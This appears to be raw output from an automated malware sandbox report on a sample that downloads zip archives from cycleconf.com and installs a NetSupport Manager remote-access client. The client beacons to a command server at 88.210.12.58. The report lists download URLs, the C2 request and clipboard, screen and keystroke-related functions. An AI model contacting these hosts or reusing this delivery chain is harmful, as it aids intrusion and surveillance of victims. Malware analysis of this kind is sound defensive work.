Code function: 4_2_004025B0 GetProcessHeap,InternetOpenW,InternetOpenUrlW,GetProcessHeap,InternetReadFile,GetProcessHeap,HeapAlloc,GetProcessHeap,RtlReAllocateHeap,GetProcessHeap,RtlAllocateHeap,GetProcessHeap,RtlFreeHeap,InternetCloseHandle,InternetCloseHandle,

4_2_004025B0

Source: global traffic	HTTP traffic detected: GET /dwnld/2nd2_1.zip HTTP/1.1Host: cycleconf.com
Source: global traffic	HTTP traffic detected: GET /dwnld/2nd2_2.zip HTTP/1.1Host: cycleconf.com
Source: global traffic	HTTP traffic detected: GET /dwnld/2nd2_3.zip HTTP/1.1Host: cycleconf.com
Source: global traffic	HTTP traffic detected: GET /dwnld/2nd2_4.zip HTTP/1.1Host: cycleconf.com
Source: global traffic	HTTP traffic detected: GET /location/loca.asp HTTP/1.1Host: geo.netsupportsoftware.comConnection: Keep-AliveCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: cycleconf.com
Source: global traffic	DNS traffic detected: DNS query: ganeres1.com
Source: global traffic	DNS traffic detected: DNS query: geo.netsupportsoftware.com

Source: unknown

HTTP traffic detected: POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 22Host: 88.210.12.58Connection: Keep-AliveCMD=POLLINFO=1ACK=1Data Raw: Data Ascii:

Source: client32.exe, client32.exe, 00000007.00000002.3304754604.000000006CD80000.00000002.00000001.01000000.00000012.sdmp, HTCTL32.DLL.4.dr	String found in binary or memory: http://%s/fakeurl.htm
Source: client32.exe, client32.exe, 00000007.00000002.3304754604.000000006CD80000.00000002.00000001.01000000.00000012.sdmp, HTCTL32.DLL.4.dr	String found in binary or memory: http://%s/testpage.htm
Source: client32.exe, 00000007.00000002.3304754604.000000006CD80000.00000002.00000001.01000000.00000012.sdmp, HTCTL32.DLL.4.dr	String found in binary or memory: http://%s/testpage.htmwininet.dll
Source: client32.exe, client32.exe, 00000009.00000002.2889815261.000000001118F000.00000002.00000001.01000000.0000000E.sdmp, PCICL32.DLL.4.dr	String found in binary or memory: http://127.0.0.1
Source: client32.exe, 00000007.00000002.3304252601.000000001118F000.00000002.00000001.01000000.0000000E.sdmp, client32.exe, 00000009.00000002.2889815261.000000001118F000.00000002.00000001.01000000.0000000E.sdmp, PCICL32.DLL.4.dr	String found in binary or memory: http://127.0.0.1RESUMEPRINTING
Source: client32.exe, 00000007.00000002.3304017965.0000000005860000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://88.210.12.58/fakeurl.htm
Source: TCCTL32.DLL.4.dr	String found in binary or memory: http://crl.globalsign.com/gs/gscodesigng2.crl0P
Source: remcmdstub.exe.4.dr	String found in binary or memory: http://crl.globalsign.com/gs/gscodesignsha2g2.crl0
Source: AddInProcess32.exe, 00000004.00000002.2880341312.000000000108F000.00000004.00000020.00020000.00000000.sdmp, client32.exe.4.dr	String found in binary or memory: http://crl.globalsign.net/ObjectSign.crl0
Source: AddInProcess32.exe, 00000004.00000002.2880341312.000000000108F000.00000004.00000020.00020000.00000000.sdmp, client32.exe.4.dr	String found in binary or memory: http://crl.globalsign.net/Root.crl0
Source: AddInProcess32.exe, 00000004.00000002.2880341312.000000000108F000.00000004.00000020.00020000.00000000.sdmp, client32.exe.4.dr	String found in binary or memory: http://crl.globalsign.net/primobject.crl0N
Source: remcmdstub.exe.4.dr	String found in binary or memory: http://crl.globalsign.net/root-r3.crl0
Source: TCCTL32.DLL.4.dr	String found in binary or memory: http://crl.globalsign.net/root.crl0
Source: AddInProcess32.exe, 00000004.00000002.2880341312.00000000010E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microso8
Source: TCCTL32.DLL.4.dr, PCICL32.DLL.4.dr	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: client32.exe, 00000007.00000002.3302419274.0000000002375000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com
Source: client32.exe, client32.exe, 00000009.00000002.2889815261.000000001118F000.00000002.00000001.01000000.0000000E.sdmp, PCICL32.DLL.4.dr	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.asp
Source: client32.exe, 00000007.00000002.3304252601.000000001118F000.00000002.00000001.01000000.0000000E.sdmp, client32.exe, 00000009.00000002.2889815261.000000001118F000.00000002.00000001.01000000.0000000E.sdmp, PCICL32.DLL.4.dr	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.aspSetChannel(%s)
Source: client32.exe, 00000007.00000003.3181897720.0000000003349000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000007.00000002.3303235612.0000000003349000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000007.00000003.3182065927.0000000003349000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.aspe
Source: client32.exe, 00000007.00000002.3301652835.00000000004D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.asph
Source: client32.exe, 00000007.00000002.3301652835.00000000004FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.asplB.bg1
Source: client32.exe, 00000007.00000002.3302419274.0000000002375000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.comlocation/loca.asp
Source: TCCTL32.DLL.4.dr, PCICL32.DLL.4.dr	String found in binary or memory: http://ocsp.thawte.com0
Source: remcmdstub.exe.4.dr	String found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g20
Source: AddInProcess32.exe, 00000004.00000002.2880341312.000000000108F000.00000004.00000020.00020000.00000000.sdmp, PCICHEK.DLL.4.dr, AudioCapture.dll.4.dr, HTCTL32.DLL.4.dr, pcicapi.dll.4.dr	String found in binary or memory: http://s1.symcb.com/pca3-g5.crl0
Source: AddInProcess32.exe, 00000004.00000002.2880341312.000000000108F000.00000004.00000020.00020000.00000000.sdmp, PCICHEK.DLL.4.dr, AudioCapture.dll.4.dr, HTCTL32.DLL.4.dr, pcicapi.dll.4.dr	String found in binary or memory: http://s2.symcb.com0
Source: TCCTL32.DLL.4.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesigng2.crt0
Source: remcmdstub.exe.4.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g2.crt08
Source: AddInProcess32.exe, 00000004.00000002.2880341312.000000000108F000.00000004.00000020.00020000.00000000.sdmp, client32.exe.4.dr	String found in binary or memory: http://secure.globalsign.net/cacert/ObjectSign.crt09
Source: AddInProcess32.exe, 00000004.00000002.2880341312.000000000108F000.00000004.00000020.00020000.00000000.sdmp, client32.exe.4.dr	String found in binary or memory: http://secure.globalsign.net/cacert/PrimObject.crt0
Source: PCICL32.DLL.4.dr	String found in binary or memory: http://sf.symcb.com/sf.crl0f
Source: PCICL32.DLL.4.dr	String found in binary or memory: http://sf.symcb.com/sf.crt0
Source: PCICL32.DLL.4.dr	String found in binary or memory: http://sf.symcd.com0&
Source: AddInProcess32.exe, 00000004.00000002.2880341312.000000000108F000.00000004.00000020.00020000.00000000.sdmp, PCICHEK.DLL.4.dr, AudioCapture.dll.4.dr, HTCTL32.DLL.4.dr, pcicapi.dll.4.dr	String found in binary or memory: http://sv.symcb.com/sv.crl0f
Source: AddInProcess32.exe, 00000004.00000002.2880341312.000000000108F000.00000004.00000020.00020000.00000000.sdmp, PCICHEK.DLL.4.dr, AudioCapture.dll.4.dr, HTCTL32.DLL.4.dr, pcicapi.dll.4.dr	String found in binary or memory: http://sv.symcb.com/sv.crt0
Source: AddInProcess32.exe, 00000004.00000002.2880341312.000000000108F000.00000004.00000020.00020000.00000000.sdmp, PCICHEK.DLL.4.dr, AudioCapture.dll.4.dr, HTCTL32.DLL.4.dr, pcicapi.dll.4.dr	String found in binary or memory: http://sv.symcd.com0&
Source: TCCTL32.DLL.4.dr, PCICL32.DLL.4.dr	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: TCCTL32.DLL.4.dr, PCICL32.DLL.4.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: TCCTL32.DLL.4.dr, PCICL32.DLL.4.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: AddInProcess32.exe, 00000004.00000002.2880341312.000000000108F000.00000004.00000020.00020000.00000000.sdmp, client32.exe.4.dr, TCCTL32.DLL.4.dr	String found in binary or memory: http://www.crossteccorp.com
Source: AddInProcess32.exe, 00000004.00000002.2880341312.000000000108F000.00000004.00000020.00020000.00000000.sdmp, client32.exe.4.dr	String found in binary or memory: http://www.globalsign.net/repository/0
Source: AddInProcess32.exe, 00000004.00000002.2880341312.000000000108F000.00000004.00000020.00020000.00000000.sdmp, client32.exe.4.dr	String found in binary or memory: http://www.globalsign.net/repository09
Source: client32.exe, 00000007.00000002.3304306206.00000000111DC000.00000004.00000001.01000000.0000000E.sdmp, client32.exe, 00000009.00000002.2889855835.00000000111DC000.00000004.00000001.01000000.0000000E.sdmp, PCICL32.DLL.4.dr	String found in binary or memory: http://www.netsupportschool.com/tutor-assistant.asp
Source: client32.exe, 00000007.00000002.3304306206.00000000111DC000.00000004.00000001.01000000.0000000E.sdmp, client32.exe, 00000009.00000002.2889855835.00000000111DC000.00000004.00000001.01000000.0000000E.sdmp, PCICL32.DLL.4.dr	String found in binary or memory: http://www.netsupportschool.com/tutor-assistant.asp11(
Source: PCICL32.DLL.4.dr	String found in binary or memory: http://www.netsupportsoftware.com
Source: client32.exe, 00000007.00000002.3304306206.00000000111DC000.00000004.00000001.01000000.0000000E.sdmp, client32.exe, 00000009.00000002.2889855835.00000000111DC000.00000004.00000001.01000000.0000000E.sdmp, PCICL32.DLL.4.dr	String found in binary or memory: http://www.pci.co.uk/support
Source: client32.exe, 00000007.00000002.3304306206.00000000111DC000.00000004.00000001.01000000.0000000E.sdmp, client32.exe, 00000009.00000002.2889855835.00000000111DC000.00000004.00000001.01000000.0000000E.sdmp, PCICL32.DLL.4.dr	String found in binary or memory: http://www.pci.co.uk/supportsupport
Source: AddInProcess32.exe, 00000004.00000002.2880341312.000000000108F000.00000004.00000020.00020000.00000000.sdmp, PCICHEK.DLL.4.dr, AudioCapture.dll.4.dr, HTCTL32.DLL.4.dr, pcicapi.dll.4.dr	String found in binary or memory: http://www.symauth.com/cps0(
Source: AddInProcess32.exe, 00000004.00000002.2880341312.000000000108F000.00000004.00000020.00020000.00000000.sdmp, PCICHEK.DLL.4.dr, AudioCapture.dll.4.dr, HTCTL32.DLL.4.dr, pcicapi.dll.4.dr	String found in binary or memory: http://www.symauth.com/rpa00
Source: AddInProcess32.exe, 00000004.00000002.2880341312.0000000001063000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cycleconf.com/Q)
Source: AddInProcess32.exe, 00000004.00000002.2880341312.0000000001063000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cycleconf.com/Z)
Source: AddInProcess32.exe, 00000004.00000002.2880341312.0000000001063000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cycleconf.com/dwnld/2nd2_1.zip
Source: AddInProcess32.exe, 00000004.00000002.2880341312.0000000001028000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cycleconf.com/dwnld/2nd2_1.zip2
Source: AddInProcess32.exe, 00000004.00000002.2880341312.0000000001020000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cycleconf.com/dwnld/2nd2_1.zipLhttps://cycleconf.com/dwnld/2nd2_2.zipLhttps://cycleconf.com/
Source: AddInProcess32.exe, 00000004.00000002.2880341312.000000000108F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cycleconf.com/dwnld/2nd2_2.zip
Source: AddInProcess32.exe, 00000004.00000002.2880341312.0000000001028000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cycleconf.com/dwnld/2nd2_2.zip5
Source: AddInProcess32.exe, 00000004.00000002.2880341312.000000000108F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cycleconf.com/dwnld/2nd2_3.zip
Source: AddInProcess32.exe, 00000004.00000002.2880341312.000000000108F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cycleconf.com/dwnld/2nd2_4.zip
Source: AddInProcess32.exe, 00000004.00000002.2880341312.0000000001028000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cycleconf.com/dwnld/2nd2_4.zip2
Source: AddInProcess32.exe, 00000004.00000002.2880341312.000000000108F000.00000004.00000020.00020000.00000000.sdmp, PCICHEK.DLL.4.dr, AudioCapture.dll.4.dr, HTCTL32.DLL.4.dr, PCICL32.DLL.4.dr, pcicapi.dll.4.dr	String found in binary or memory: https://d.symcb.com/cps0%
Source: AddInProcess32.exe, 00000004.00000002.2880341312.000000000108F000.00000004.00000020.00020000.00000000.sdmp, PCICHEK.DLL.4.dr, AudioCapture.dll.4.dr, HTCTL32.DLL.4.dr, PCICL32.DLL.4.dr, pcicapi.dll.4.dr	String found in binary or memory: https://d.symcb.com/rpa0
Source: TCCTL32.DLL.4.dr, remcmdstub.exe.4.dr	String found in binary or memory: https://www.globalsign.com/repository/0
Source: TCCTL32.DLL.4.dr	String found in binary or memory: https://www.globalsign.com/repository/03
Source: remcmdstub.exe.4.dr	String found in binary or memory: https://www.globalsign.com/repository/06

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857

Source: unknown

HTTPS traffic detected: 23.254.224.41:443 -> 192.168.2.5:49831 version: TLS 1.2

Source: C:\Users\user\AppData\Local\DNScache\client32.exe

Code function: 7_2_1101F350 OpenClipboard,GlobalAlloc,GlobalLock,_memmove,GlobalUnlock,EmptyClipboard,SetClipboardData,GlobalFree,MessageBeep,CloseClipboard,

7_2_1101F350

Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_1101F350 OpenClipboard,GlobalAlloc,GlobalLock,_memmove,GlobalUnlock,EmptyClipboard,SetClipboardData,GlobalFree,MessageBeep,CloseClipboard,	7_2_1101F350
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_11032870 GetClipboardFormatNameA,SetClipboardData,	7_2_11032870
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_1101F350 OpenClipboard,GlobalAlloc,GlobalLock,_memmove,GlobalUnlock,EmptyClipboard,SetClipboardData,GlobalFree,MessageBeep,CloseClipboard,	9_2_1101F350
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_11032870 GetClipboardFormatNameA,SetClipboardData,	9_2_11032870

Source: C:\Users\user\AppData\Local\DNScache\client32.exe

Code function: 7_2_11031B70 GlobalAlloc,GlobalLock,_memmove,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalFree,

7_2_11031B70

Source: C:\Users\user\AppData\Local\DNScache\client32.exe

Code function: 7_2_110076F0 LoadCursorA,SetCursor,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,CreateDCA,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,SelectClipRgn,BitBlt,SelectClipRgn,DeleteObject,DeleteDC,BitBlt,ReleaseDC,CreatePen,CreateSolidBrush,GetSysColor,LoadBitmapA,_memset,_swscanf,CreateFontIndirectA,_memset,GetStockObject,GetObjectA,CreateFontIndirectA,GetWindowRect,SetWindowTextA,GetSystemMetrics,GetSystemMetrics,SetWindowPos,UpdateWindow,SetCursor,

7_2_110076F0

Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_11110930 PeekMessageA,GetKeyState,GetKeyState,GetKeyState,Sleep,GetKeyState,		7_2_11110930
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_11110930 PeekMessageA,GetKeyState,GetKeyState,GetKeyState,Sleep,GetKeyState,		9_2_11110930

Source: Yara match	File source: 7.2.client32.exe.111b32a0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.client32.exe.111b32a0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.client32.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.client32.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.2889815261.000000001118F000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3304252601.000000001118F000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: client32.exe PID: 828, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: client32.exe PID: 6044, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\DNScache\PCICL32.DLL, type: DROPPED

Spam, unwanted Advertisements and Ransom Demands

Contains functionalty to change the wallpaper

Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_11112960 SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,RegCloseKey,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,RegCloseKey,SystemParametersInfoA,		7_2_11112960
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_11112960 SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,RegCloseKey,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,RegCloseKey,SystemParametersInfoA,		9_2_11112960

System Summary

.NET source code contains very large array initializations

Source: Jjv9ha2GKn.exe, n2P6H.cs	Large array initialization: Cd02: array initializer size 3356
Source: Jjv9ha2GKn.exe, Qm7j5.cs	Large array initialization: Qm7j5: array initializer size 3868

Source: C:\Users\user\AppData\Local\DNScache\client32.exe

Code function: 7_2_110A9020: DeviceIoControl,

7_2_110A9020

Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe

Code function: 0_2_075DACA0 CreateProcessAsUserW,

0_2_075DACA0

Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_1102D1B3 CloseHandle,_free,_free,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,	7_2_1102D1B3
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_1102CE84 Sleep,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,	7_2_1102CE84
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_1102CD90 InterlockedIncrement,Sleep,Sleep,GetCurrentProcess,SetPriorityClass,SetEvent,Sleep,PostThreadMessageA,PostThreadMessageA,CloseHandle,_free,_free,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,	9_2_1102CD90

Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_00A90040	0_2_00A90040
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_026F89F8	0_2_026F89F8
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_026F7C20	0_2_026F7C20
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_05B9D7F8	0_2_05B9D7F8
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_05B9AE6C	0_2_05B9AE6C
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_05B9D808	0_2_05B9D808
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_07151D30	0_2_07151D30
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_0719AF50	0_2_0719AF50
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_0719BB70	0_2_0719BB70
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_07195E78	0_2_07195E78
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_07199EB8	0_2_07199EB8
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_07191548	0_2_07191548
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_0719CDB0	0_2_0719CDB0
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_0719DC60	0_2_0719DC60
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_0719EB38	0_2_0719EB38
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_0719BB25	0_2_0719BB25
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_0719EB48	0_2_0719EB48
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_0719E741	0_2_0719E741
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_0719C3E9	0_2_0719C3E9
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_0719F619	0_2_0719F619
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_0719F628	0_2_0719F628
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_0719F918	0_2_0719F918
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_0719001F	0_2_0719001F
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_0719DC2B	0_2_0719DC2B
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_07190040	0_2_07190040
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_0719FCD0	0_2_0719FCD0
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_0719FCC0	0_2_0719FCC0
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_071914E6	0_2_071914E6
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_075D5F00	0_2_075D5F00
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_075D3790	0_2_075D3790
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_075D5260	0_2_075D5260
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_075DB220	0_2_075DB220
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_075D0460	0_2_075D0460
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_075D1010	0_2_075D1010
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_075D0F95	0_2_075D0F95
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_075D3780	0_2_075D3780
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_075D47A8	0_2_075D47A8
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_075D524F	0_2_075D524F
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_075DF610	0_2_075DF610
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_075D02B8	0_2_075D02B8
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_075D02A8	0_2_075D02A8
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_075D9560	0_2_075D9560
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_075D8DF8	0_2_075D8DF8
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_075D0453	0_2_075D0453
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_075D0040	0_2_075D0040
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_075D0006	0_2_075D0006
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_075D7C00	0_2_075D7C00
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_075D54FB	0_2_075D54FB
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_07AF2760	0_2_07AF2760
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_07AFAA24	0_2_07AFAA24
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_07AF2750	0_2_07AF2750
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_07AFC690	0_2_07AFC690
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_07B326F8	0_2_07B326F8
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_07B3D790	0_2_07B3D790
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_07B3D77F	0_2_07B3D77F
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_07B3D759	0_2_07B3D759
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Code function: 0_2_07151D05	0_2_07151D05
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_00401000	4_2_00401000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_004069E0	4_2_004069E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_00401A80	4_2_00401A80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_00401420	4_2_00401420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_00417867	4_2_00417867
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_00406120	4_2_00406120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_0040BAFC	4_2_0040BAFC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_00404B40	4_2_00404B40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_00412340	4_2_00412340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_00403C20	4_2_00403C20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_00405D40	4_2_00405D40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_00404580	4_2_00404580
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_004127EB	4_2_004127EB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 4_2_00402FB0	4_2_00402FB0
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_11029200	7_2_11029200
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_110612D0	7_2_110612D0
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_110724D0	7_2_110724D0
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_1102B1F0	7_2_1102B1F0
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_1115B090	7_2_1115B090
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_1106F200	7_2_1106F200
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_1107F590	7_2_1107F590
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_1115F900	7_2_1115F900
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_1101B950	7_2_1101B950
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_11163B65	7_2_11163B65
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_1101BD90	7_2_1101BD90
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_110503E0	7_2_110503E0
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_110329A0	7_2_110329A0
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_11122860	7_2_11122860
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_1100887B	7_2_1100887B
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_11044B90	7_2_11044B90
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_1101CBB0	7_2_1101CBB0
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_11086D60	7_2_11086D60
